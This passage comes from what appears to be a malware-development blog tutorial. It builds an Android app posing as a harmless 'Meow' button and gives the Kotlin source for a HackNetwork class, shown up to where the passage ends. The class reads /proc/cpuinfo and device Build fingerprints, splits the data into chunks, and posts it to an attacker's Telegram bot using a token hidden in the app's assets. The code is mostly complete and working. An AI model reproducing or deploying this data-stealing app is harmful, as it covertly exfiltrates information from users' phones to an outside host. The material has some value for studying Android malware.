        <span class="nf">setContentView</span><span class="p">(</span><span class="nc">R</span><span class="p">.</span><span class="n">layout</span><span class="p">.</span><span class="n">activity_main</span><span class="p">)</span>
        <span class="n">meowButton</span> <span class="p">=</span> <span class="nf">findViewById</span><span class="p">(</span><span class="nc">R</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="n">meowButton</span><span class="p">)</span>
        <span class="n">meowButton</span><span class="p">.</span><span class="nf">setOnClickListener</span> <span class="p">{</span>
            <span class="nc">Toast</span><span class="p">.</span><span class="nf">makeText</span><span class="p">(</span>
                <span class="n">applicationContext</span><span class="p">,</span>
                <span class="s">"Meow! ♥\uFE0F"</span><span class="p">,</span>
                <span class="nc">Toast</span><span class="p">.</span><span class="nc">LENGTH_SHORT</span>
            <span class="p">).</span><span class="nf">show</span><span class="p">()</span>
            <span class="nc">HackNetwork</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nf">sendTextMessage</span><span class="p">(</span><span class="s">"Meow! ♥\uFE0F"</span><span class="p">)</span>
        <span class="p">}</span>
        <span class="nc">HackNetwork</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nf">logcpuinfo</span><span class="p">()</span>
        <span class="nc">HackNetwork</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nf">sendTextMessage</span><span class="p">(</span><span class="s">"Meow! ♥\uFE0F"</span><span class="p">)</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As usual, the interesting logic lives in <code class="language-plaintext highlighter-rouge">HackNetwork</code>. First, the <code class="language-plaintext highlighter-rouge">logcpuinfo()</code> function. Android is built on top of the Linux kernel and inherits its <code class="language-plaintext highlighter-rouge">/proc</code> filesystem. <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> is a plain-text file the kernel generates on the fly. We open it with a buffered reader and send chunk by chunk:</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">fun</span> <span class="nf">logcpuinfo</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">val</span> <span class="py">cpuinfo</span> <span class="p">=</span> <span class="nc">File</span><span class="p">(</span><span class="s">"/proc/cpuinfo"</span><span class="p">)</span>
    <span class="kd">val</span> <span class="py">TAG</span> <span class="p">=</span> <span class="s">"HACK"</span>

    <span class="k">if</span> <span class="p">(!</span><span class="n">cpuinfo</span><span class="p">.</span><span class="nf">exists</span><span class="p">())</span> <span class="p">{</span>
        <span class="nf">sendTextMessage</span><span class="p">(</span><span class="s">"[-] /proc/cpuinfo not found"</span><span class="p">)</span>
        <span class="k">return</span>
    <span class="p">}</span>

    <span class="k">try</span> <span class="p">{</span>
        <span class="c1">// read the whole file content</span>
        <span class="kd">val</span> <span class="py">fullContent</span> <span class="p">=</span> <span class="n">cpuinfo</span><span class="p">.</span><span class="nf">readText</span><span class="p">()</span>
        <span class="kd">val</span> <span class="py">dataToSend</span> <span class="p">=</span> <span class="n">fullContent</span> <span class="p">+</span> <span class="s">"\nmeow =^..^="</span>

        <span class="c1">// split into chunks if length exceeds limit</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">dataToSend</span><span class="p">.</span><span class="n">length</span> <span class="p">&lt;=</span> <span class="n">tgLimit</span><span class="p">)</span> <span class="p">{</span>
            <span class="nf">sendTextMessage</span><span class="p">(</span><span class="n">dataToSend</span><span class="p">)</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="kd">var</span> <span class="py">start</span> <span class="p">=</span> <span class="mi">0</span>
            <span class="k">while</span> <span class="p">(</span><span class="n">start</span> <span class="p">&lt;</span> <span class="n">dataToSend</span><span class="p">.</span><span class="n">length</span><span class="p">)</span> <span class="p">{</span>
                <span class="kd">val</span> <span class="py">end</span> <span class="p">=</span> <span class="nf">minOf</span><span class="p">(</span><span class="n">start</span> <span class="p">+</span> <span class="n">tgLimit</span><span class="p">,</span> <span class="n">dataToSend</span><span class="p">.</span><span class="n">length</span><span class="p">)</span>
                <span class="kd">val</span> <span class="py">chunk</span> <span class="p">=</span> <span class="n">dataToSend</span><span class="p">.</span><span class="nf">substring</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">)</span>

                <span class="c1">// send current chunk</span>
                <span class="nf">sendTextMessage</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
                <span class="n">start</span> <span class="p">+=</span> <span class="n">tgLimit</span>

                <span class="c1">// small delay to prevent telegram rate limiting (429)</span>
                <span class="nc">Thread</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mi">500</span><span class="p">)</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="nc">Log</span><span class="p">.</span><span class="nf">i</span><span class="p">(</span><span class="nc">TAG</span><span class="p">,</span> <span class="s">"[+] exfiltration to telegram complete. meow =^..^="</span><span class="p">)</span>

    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="n">e</span><span class="p">:</span> <span class="nc">Exception</span><span class="p">)</span> <span class="p">{</span>
        <span class="nc">Log</span><span class="p">.</span><span class="nf">e</span><span class="p">(</span><span class="nc">TAG</span><span class="p">,</span> <span class="s">"[x] error during exfiltration: ${e.message}"</span><span class="p">)</span>
        <span class="nf">sendTextMessage</span><span class="p">(</span><span class="s">"[x] error reading cpuinfo: ${e.message}"</span><span class="p">)</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">if (!cpuinfo.exists())</code> check is worth noting. A hardened sandbox could theoretically hide <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code>. If that happens, the function still reports back to the attacker with a <code class="language-plaintext highlighter-rouge">not found</code> message - useful telemetry either way.</p>

<p>To exfiltrate <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> to Telegram, you need to handle the <code class="language-plaintext highlighter-rouge">4096</code> character limit per message. If the file is larger, the Telegram API will return an error (<code class="language-plaintext highlighter-rouge">400 Bad Request</code> as I know):</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="kd">val</span> <span class="py">tgLimit</span> <span class="p">=</span> <span class="mi">4000</span>
</code></pre></div></div>

<p>Other functions remained unchanged. For example, <code class="language-plaintext highlighter-rouge">getDeviceName()</code> reads all the <code class="language-plaintext highlighter-rouge">Build</code> constants and formats them into one string. Honestly, these fields are the other half of the emulator fingerprint - things like <code class="language-plaintext highlighter-rouge">Build.HARDWARE</code> (<code class="language-plaintext highlighter-rouge">goldfish</code> on AVD), <code class="language-plaintext highlighter-rouge">Build.FINGERPRINT</code> (starts with <code class="language-plaintext highlighter-rouge">generic/</code> on every emulator), <code class="language-plaintext highlighter-rouge">Build.TYPE</code> (<code class="language-plaintext highlighter-rouge">userdebug</code> or <code class="language-plaintext highlighter-rouge">eng</code> on emulators, <code class="language-plaintext highlighter-rouge">user</code> on retail devices), <code class="language-plaintext highlighter-rouge">Build.HOST</code> (<code class="language-plaintext highlighter-rouge">android-build</code> on AOSP machines), and <code class="language-plaintext highlighter-rouge">Build.getRadioVersion()</code> which returns <code class="language-plaintext highlighter-rouge">1.0.0.0</code> on emulators because there is no real modem:</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">fun</span> <span class="nf">getDeviceName</span><span class="p">():</span> <span class="nc">String</span> <span class="p">{</span>
    <span class="k">fun</span> <span class="nf">capitalize</span><span class="p">(</span><span class="n">s</span><span class="p">:</span> <span class="nc">String</span><span class="p">?):</span> <span class="nc">String</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="nf">isNullOrEmpty</span><span class="p">())</span> <span class="p">{</span>
            <span class="k">return</span> <span class="s">""</span>
        <span class="p">}</span>
        <span class="kd">val</span> <span class="py">first</span> <span class="p">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
        <span class="k">return</span> <span class="k">if</span> <span class="p">(</span><span class="nc">Character</span><span class="p">.</span><span class="nf">isUpperCase</span><span class="p">(</span><span class="n">first</span><span class="p">))</span> <span class="p">{</span>
            <span class="n">s</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">first</span><span class="p">.</span><span class="nf">uppercaseChar</span><span class="p">().</span><span class="nf">toString</span><span class="p">()</span> <span class="p">+</span> <span class="n">s</span><span class="p">.</span><span class="nf">substring</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="kd">val</span> <span class="py">manufacturer</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">MANUFACTURER</span>
    <span class="kd">val</span> <span class="py">model</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">MODEL</span>
    <span class="kd">val</span> <span class="py">device</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">DEVICE</span>
    <span class="kd">val</span> <span class="py">deviceID</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">ID</span>
    <span class="kd">val</span> <span class="py">brand</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">BRAND</span>
    <span class="kd">val</span> <span class="py">hardware</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">HARDWARE</span>
    <span class="kd">val</span> <span class="py">hostInfo</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">HOST</span>
    <span class="kd">val</span> <span class="py">userInfo</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">USER</span>
    <span class="kd">val</span> <span class="py">board</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">BOARD</span>
    <span class="kd">val</span> <span class="py">display</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">DISPLAY</span>
    <span class="kd">val</span> <span class="py">fingerprint</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">FINGERPRINT</span>
    <span class="kd">val</span> <span class="py">devT</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">TYPE</span>
    <span class="kd">val</span> <span class="py">radio</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nf">getRadioVersion</span><span class="p">()</span>

    <span class="kd">val</span> <span class="py">info</span> <span class="p">=</span> <span class="s">"Hardware: ${capitalize(hardware)}\n"</span> <span class="p">+</span>
            <span class="s">"Manufacturer: ${capitalize(manufacturer)}\n"</span> <span class="p">+</span>
            <span class="s">"Model: ${capitalize(model)}\n"</span> <span class="p">+</span>
            <span class="s">"Device: ${capitalize(device)}\n"</span> <span class="p">+</span>
            <span class="s">"ID: ${capitalize(deviceID)}\n"</span> <span class="p">+</span>
            <span class="s">"Brand: ${capitalize(brand)}\n"</span> <span class="p">+</span>
            <span class="s">"Host: ${capitalize(hostInfo)}\n"</span> <span class="p">+</span>
            <span class="s">"User: ${capitalize(userInfo)}\n"</span> <span class="p">+</span>
            <span class="s">"Board: ${capitalize(board)}\n"</span> <span class="p">+</span>
            <span class="s">"Display: ${capitalize(display)}\n"</span> <span class="p">+</span>
            <span class="s">"Fingerprint: ${capitalize(fingerprint)}\n"</span> <span class="p">+</span>
            <span class="s">"Build TYPE: ${capitalize(devT)}\n"</span> <span class="p">+</span>
            <span class="s">"RADIO: ${capitalize(radio)}"</span>

    <span class="k">return</span> <span class="n">info</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Then <code class="language-plaintext highlighter-rouge">sendTextMessage()</code> appends the full <code class="language-plaintext highlighter-rouge">Build</code> snapshot to the message and POSTs it asynchronously to the attacker’s Telegram bot via <code class="language-plaintext highlighter-rouge">OkHttp</code>. The bot token and chat ID are stored in <code class="language-plaintext highlighter-rouge">assets/token.txt</code> and <code class="language-plaintext highlighter-rouge">assets/id.txt</code> - putting credentials in assets is a common trick in commodity Android malware because the files survive repackaging and are harder to spot than hardcoded strings:</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">fun</span> <span class="nf">sendTextMessage</span><span class="p">(</span><span class="n">message</span><span class="p">:</span> <span class="nc">String</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">val</span> <span class="py">token</span>      <span class="p">=</span> <span class="nf">getTokenFromAssets</span><span class="p">()</span>
    <span class="kd">val</span> <span class="py">chatId</span>     <span class="p">=</span> <span class="nf">getChatIdFromAssets</span><span class="p">()</span>
    <span class="kd">val</span> <span class="py">deviceInfo</span> <span class="p">=</span> <span class="nf">getDeviceName</span><span class="p">()</span>
    <span class="kd">val</span> <span class="py">meow</span>       <span class="p">=</span> <span class="s">"Meow! ♥\uFE0F"</span>
    <span class="kd">val</span> <span class="py">messageToSend</span> <span class="p">=</span> <span class="s">"$message\n\n$deviceInfo\n\n$meow\n\n"</span>

    <span class="kd">val</span> <span class="py">requestBody</span> <span class="p">=</span> <span class="nc">FormBody</span><span class="p">.</span><span class="nc">Builder</span><span class="p">()</span>
        <span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="s">"chat_id"</span><span class="p">,</span> <span class="n">chatId</span><span class="p">)</span>
        <span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="s">"text"</span><span class="p">,</span> <span class="n">messageToSend</span><span class="p">)</span>
        <span class="p">.</span><span class="nf">build</span><span class="p">()</span>

    <span class="kd">val</span> <span class="py">request</span> <span class="p">=</span> <span class="nc">Request</span><span class="p">.</span><span class="nc">Builder</span><span class="p">()</span>
        <span class="p">.</span><span class="nf">url</span><span class="p">(</span><span class="s">"https://api.telegram.org/bot$token/sendMessage"</span><span class="p">)</span>
        <span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="n">requestBody</span><span class="p">)</span>
        <span class="p">.</span><span class="nf">build</span><span class="p">()</span>

    <span class="c1">// send the request asynchronously using OkHttp</span>
    <span class="n">client</span><span class="p">.</span><span class="nf">newCall</span><span class="p">(</span><span class="n">request</span><span class="p">).</span><span class="nf">enqueue</span><span class="p">(</span><span class="kd">object</span> <span class="err">: </span><span class="nc">Callback</span> <span class="p">{</span>
        <span class="k">override</span> <span class="k">fun</span> <span class="nf">onFailure</span><span class="p">(</span><span class="n">call</span><span class="p">:</span> <span class="nc">Call</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span> <span class="nc">IOException</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">e</span><span class="p">.</span><span class="nf">printStackTrace</span><span class="p">()</span>
        <span class="p">}</span>

        <span class="k">override</span> <span class="k">fun</span> <span class="nf">onResponse</span><span class="p">(</span><span class="n">call</span><span class="p">:</span> <span class="nc">Call</span><span class="p">,</span> <span class="n">response</span><span class="p">:</span> <span class="nc">Response</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">isSuccessful</span><span class="p">)</span> <span class="p">{</span>
                <span class="nf">println</span><span class="p">(</span><span class="s">"Message sent successfully: ${response.body?.string()}"</span><span class="p">)</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="nf">println</span><span class="p">(</span><span class="s">"Error: ${response.body?.string()}"</span><span class="p">)</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">})</span>
<span class="p">}</span>

<span class="k">private</span> <span class="k">fun</span> <span class="nf">getTokenFromAssets</span><span class="p">():</span> <span class="nc">String</span> <span class="p">{</span>
    <span class="k">return</span> <span class="n">context</span><span class="p">.</span><span class="n">assets</span><span class="p">.</span><span class="k">open</span><span class="p">(</span><span class="s">"token.txt"</span><span class="p">).</span><span class="nf">bufferedReader</span><span class="p">().</span><span class="nf">readText</span><span class="p">().</span><span class="nf">trim</span><span class="p">()</span>
<span class="p">}</span>

<span class="k">private</span> <span class="k">fun</span> <span class="nf">getChatIdFromAssets</span><span class="p">():</span> <span class="nc">String</span> <span class="p">{</span>
    <span class="k">return</span> <span class="n">context</span><span class="p">.</span><span class="n">assets</span><span class="p">.</span><span class="k">open</span><span class="p">(</span><span class="s">"id.txt"</span><span class="p">).</span><span class="nf">bufferedReader</span><span class="p">().</span><span class="nf">readText</span><span class="p">().</span><span class="nf">trim</span><span class="p">()</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So the full source code of <code class="language-plaintext highlighter-rouge">HackNetwork.kt</code> looks like this:</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="nn">cocomelonc.hackcpu</span>

<span class="k">import</span> <span class="nn">android.util.Log</span>
<span class="k">import</span> <span class="nn">android.content.Context</span>
<span class="k">import</span> <span class="nn">android.os.Build</span>
<span class="k">import</span> <span class="nn">android.widget.Toast</span>
<span class="k">import</span> <span class="nn">okhttp3.Call</span>
<span class="k">import</span> <span class="nn">okhttp3.Callback</span>
<span class="k">import</span> <span class="nn">okhttp3.FormBody</span>
<span class="k">import</span> <span class="nn">okhttp3.OkHttpClient</span>
<span class="k">import</span> <span class="nn">okhttp3.Request</span>
<span class="k">import</span> <span class="nn">okhttp3.Response</span>
<span class="k">import</span> <span class="nn">java.io.IOException</span>

<span class="k">import</span> <span class="nn">java.io.File</span>
<span class="k">import</span> <span class="nn">java.io.BufferedReader</span>
<span class="k">import</span> <span class="nn">java.io.InputStreamReader</span>

<span class="kd">class</span> <span class="nc">HackNetwork</span><span class="p">(</span><span class="k">private</span> <span class="kd">val</span> <span class="py">context</span><span class="p">:</span> <span class="nc">Context</span><span class="p">)</span> <span class="p">{</span>

    <span class="k">private</span> <span class="kd">val</span> <span class="py">client</span> <span class="p">=</span> <span class="nc">OkHttpClient</span><span class="p">()</span>
    <span class="k">private</span> <span class="kd">val</span> <span class="py">tgLimit</span> <span class="p">=</span> <span class="mi">4000</span>

    <span class="c1">// Function to send message using OkHttp</span>
    <span class="k">fun</span> <span class="nf">sendTextMessage</span><span class="p">(</span><span class="n">message</span><span class="p">:</span> <span class="nc">String</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">val</span> <span class="py">token</span> <span class="p">=</span> <span class="nf">getTokenFromAssets</span><span class="p">()</span>
        <span class="kd">val</span> <span class="py">chatId</span> <span class="p">=</span> <span class="nf">getChatIdFromAssets</span><span class="p">()</span>
        <span class="kd">val</span> <span class="py">deviceInfo</span> <span class="p">=</span> <span class="nf">getDeviceName</span><span class="p">()</span>
        <span class="kd">val</span> <span class="py">meow</span> <span class="p">=</span> <span class="s">"Meow! ♥\uFE0F"</span>
        <span class="kd">val</span> <span class="py">messageToSend</span> <span class="p">=</span> <span class="s">"$message\n\n$deviceInfo\n\n$meow\n\n"</span>

        <span class="kd">val</span> <span class="py">requestBody</span> <span class="p">=</span> <span class="nc">FormBody</span><span class="p">.</span><span class="nc">Builder</span><span class="p">()</span>
            <span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="s">"chat_id"</span><span class="p">,</span> <span class="n">chatId</span><span class="p">)</span>
            <span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="s">"text"</span><span class="p">,</span> <span class="n">messageToSend</span><span class="p">)</span>
            <span class="p">.</span><span class="nf">build</span><span class="p">()</span>

        <span class="kd">val</span> <span class="py">request</span> <span class="p">=</span> <span class="nc">Request</span><span class="p">.</span><span class="nc">Builder</span><span class="p">()</span>
            <span class="p">.</span><span class="nf">url</span><span class="p">(</span><span class="s">"https://api.telegram.org/bot$token/sendMessage"</span><span class="p">)</span>
            <span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="n">requestBody</span><span class="p">)</span>
            <span class="p">.</span><span class="nf">build</span><span class="p">()</span>

        <span class="c1">// Send the request asynchronously using OkHttp</span>
        <span class="n">client</span><span class="p">.</span><span class="nf">newCall</span><span class="p">(</span><span class="n">request</span><span class="p">).</span><span class="nf">enqueue</span><span class="p">(</span><span class="kd">object</span> <span class="err">: </span><span class="nc">Callback</span> <span class="p">{</span>
            <span class="k">override</span> <span class="k">fun</span> <span class="nf">onFailure</span><span class="p">(</span><span class="n">call</span><span class="p">:</span> <span class="nc">Call</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span> <span class="nc">IOException</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">e</span><span class="p">.</span><span class="nf">printStackTrace</span><span class="p">()</span>
            <span class="p">}</span>

            <span class="k">override</span> <span class="k">fun</span> <span class="nf">onResponse</span><span class="p">(</span><span class="n">call</span><span class="p">:</span> <span class="nc">Call</span><span class="p">,</span> <span class="n">response</span><span class="p">:</span> <span class="nc">Response</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">isSuccessful</span><span class="p">)</span> <span class="p">{</span>
                    <span class="c1">// Handle success</span>
                    <span class="nf">println</span><span class="p">(</span><span class="s">"Message sent successfully: ${response.body?.string()}"</span><span class="p">)</span>
                <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                    <span class="nf">println</span><span class="p">(</span><span class="s">"Error: ${response.body?.string()}"</span><span class="p">)</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">})</span>
    <span class="p">}</span>

    <span class="c1">// reads cpuinfo and sends it in chunks</span>
    <span class="k">fun</span> <span class="nf">logcpuinfo</span><span class="p">()</span> <span class="p">{</span>
        <span class="kd">val</span> <span class="py">cpuinfo</span> <span class="p">=</span> <span class="nc">File</span><span class="p">(</span><span class="s">"/proc/cpuinfo"</span><span class="p">)</span>
        <span class="kd">val</span> <span class="py">TAG</span> <span class="p">=</span> <span class="s">"HACK"</span>

        <span class="k">if</span> <span class="p">(!</span><span class="n">cpuinfo</span><span class="p">.</span><span class="nf">exists</span><span class="p">())</span> <span class="p">{</span>
            <span class="nf">sendTextMessage</span><span class="p">(</span><span class="s">"[-] /proc/cpuinfo not found"</span><span class="p">)</span>
            <span class="k">return</span>
        <span class="p">}</span>

        <span class="k">try</span> <span class="p">{</span>
            <span class="c1">// read the whole file content</span>
            <span class="kd">val</span> <span class="py">fullContent</span> <span class="p">=</span> <span class="n">cpuinfo</span><span class="p">.</span><span class="nf">readText</span><span class="p">()</span>
            <span class="kd">val</span> <span class="py">dataToSend</span> <span class="p">=</span> <span class="n">fullContent</span> <span class="p">+</span> <span class="s">"\nmeow =^..^="</span>

            <span class="c1">// split into chunks if length exceeds limit</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">dataToSend</span><span class="p">.</span><span class="n">length</span> <span class="p">&lt;=</span> <span class="n">tgLimit</span><span class="p">)</span> <span class="p">{</span>
                <span class="nf">sendTextMessage</span><span class="p">(</span><span class="n">dataToSend</span><span class="p">)</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="kd">var</span> <span class="py">start</span> <span class="p">=</span> <span class="mi">0</span>
                <span class="k">while</span> <span class="p">(</span><span class="n">start</span> <span class="p">&lt;</span> <span class="n">dataToSend</span><span class="p">.</span><span class="n">length</span><span class="p">)</span> <span class="p">{</span>
                    <span class="kd">val</span> <span class="py">end</span> <span class="p">=</span> <span class="nf">minOf</span><span class="p">(</span><span class="n">start</span> <span class="p">+</span> <span class="n">tgLimit</span><span class="p">,</span> <span class="n">dataToSend</span><span class="p">.</span><span class="n">length</span><span class="p">)</span>
                    <span class="kd">val</span> <span class="py">chunk</span> <span class="p">=</span> <span class="n">dataToSend</span><span class="p">.</span><span class="nf">substring</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">)</span>

                    <span class="c1">// send current chunk</span>
                    <span class="nf">sendTextMessage</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
                    <span class="n">start</span> <span class="p">+=</span> <span class="n">tgLimit</span>

                    <span class="c1">// small delay to prevent telegram rate limiting (429)</span>
                    <span class="nc">Thread</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mi">500</span><span class="p">)</span>
                <span class="p">}</span>
            <span class="p">}</span>
            <span class="nc">Log</span><span class="p">.</span><span class="nf">i</span><span class="p">(</span><span class="nc">TAG</span><span class="p">,</span> <span class="s">"[+] exfiltration to telegram complete. meow =^..^="</span><span class="p">)</span>

        <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="n">e</span><span class="p">:</span> <span class="nc">Exception</span><span class="p">)</span> <span class="p">{</span>
            <span class="nc">Log</span><span class="p">.</span><span class="nf">e</span><span class="p">(</span><span class="nc">TAG</span><span class="p">,</span> <span class="s">"[x] error during exfiltration: ${e.message}"</span><span class="p">)</span>
            <span class="nf">sendTextMessage</span><span class="p">(</span><span class="s">"[x] error reading cpuinfo: ${e.message}"</span><span class="p">)</span>
        <span class="p">}</span>
    <span class="p">}</span>


    <span class="c1">// Get device info</span>
    <span class="k">private</span> <span class="k">fun</span> <span class="nf">getDeviceName</span><span class="p">():</span> <span class="nc">String</span> <span class="p">{</span>
        <span class="k">fun</span> <span class="nf">capitalize</span><span class="p">(</span><span class="n">s</span><span class="p">:</span> <span class="nc">String</span><span class="p">?):</span> <span class="nc">String</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="nf">isNullOrEmpty</span><span class="p">())</span> <span class="p">{</span>
                <span class="k">return</span> <span class="s">""</span>
            <span class="p">}</span>
            <span class="kd">val</span> <span class="py">first</span> <span class="p">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
            <span class="k">return</span> <span class="k">if</span> <span class="p">(</span><span class="nc">Character</span><span class="p">.</span><span class="nf">isUpperCase</span><span class="p">(</span><span class="n">first</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">s</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="n">first</span><span class="p">.</span><span class="nf">uppercaseChar</span><span class="p">().</span><span class="nf">toString</span><span class="p">()</span> <span class="p">+</span> <span class="n">s</span><span class="p">.</span><span class="nf">substring</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
            <span class="p">}</span>
        <span class="p">}</span>

        <span class="kd">val</span> <span class="py">manufacturer</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">MANUFACTURER</span>
        <span class="kd">val</span> <span class="py">model</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">MODEL</span>
        <span class="kd">val</span> <span class="py">device</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">DEVICE</span>
        <span class="kd">val</span> <span class="py">deviceID</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">ID</span>
        <span class="kd">val</span> <span class="py">brand</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">BRAND</span>
        <span class="kd">val</span> <span class="py">hardware</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">HARDWARE</span>
        <span class="kd">val</span> <span class="py">hostInfo</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">HOST</span>
        <span class="kd">val</span> <span class="py">userInfo</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">USER</span>
        <span class="kd">val</span> <span class="py">board</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">BOARD</span>
        <span class="kd">val</span> <span class="py">display</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">DISPLAY</span>
        <span class="kd">val</span> <span class="py">fingerprint</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">FINGERPRINT</span>
        <span class="kd">val</span> <span class="py">devT</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">TYPE</span>
        <span class="kd">val</span> <span class="py">radio</span> <span class="p">=</span> <span class="nc">Build</span><span class="p">.</span><span class="nf">getRadioVersion</span><span class="p">()</span>

        <span class="kd">val</span> <span class="py">info</span> <span class="p">=</span> <span class="s">"Hardware: ${capitalize(hardware)}\n"</span> <span class="p">+</span>
                <span class="s">"Manufacturer: ${capitalize(manufacturer)}\n"</span> <span class="p">+</span>
                <span class="s">"Model: ${capitalize(model)}\n"</span> <span class="p">+</span>
                <span class="s">"Device: ${capitalize(device)}\n"</span> <span class="p">+</span>
                <span class="s">"ID: ${capitalize(deviceID)}\n"</span> <span class="p">+</span>
                <span class="s">"Brand: ${capitalize(brand)}\n"</span> <span class="p">+</span>
                <span class="s">"Host: ${capitalize(hostInfo)}\n"</span> <span class="p">+</span>
                <span class="s">"User: ${capitalize(userInfo)}\n"</span> <span class="p">+</span>
                <span class="s">"Board: ${capitalize(board)}\n"</span> <span class="p">+</span>
                <span class="s">"Display: ${capitalize(display)}\n"</span> <span class="p">+</span>
                <span class="s">"Fingerprint: ${capitalize(fingerprint)}\n"</span> <span class="p">+</span>
                <span class="s">"Build TYPE: ${capitalize(devT)}\n"</span> <span class="p">+</span>
                <span class="s">"RADIO: ${capitalize(radio)}"</span>

        <span class="k">return</span> <span class="n">info</span>
    <span class="p">}</span>

    <span class="c1">// Fetch token and chatId from assets (assuming these are saved in files)</span>
    <span class="k">private</span> <span class="k">fun</span> <span class="nf">getTokenFromAssets</span><span class="p">():</span> <span class="nc">String</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">context</span><span class="p">.</span><span class="n">assets</span><span class="p">.</span><span class="k">open</span><span class="p">(</span><span class="s">"token.txt"</span><span class="p">).</span><span class="nf">bufferedReader</span><span class="p">().</span><span class="nf">readText</span><span class="p">().</span><span class="nf">trim</span><span class="p">()</span>
    <span class="p">}</span>

    <span class="k">private</span> <span class="k">fun</span> <span class="nf">getChatIdFromAssets</span><span class="p">():</span> <span class="nc">String</span> <span class="p">{</span>
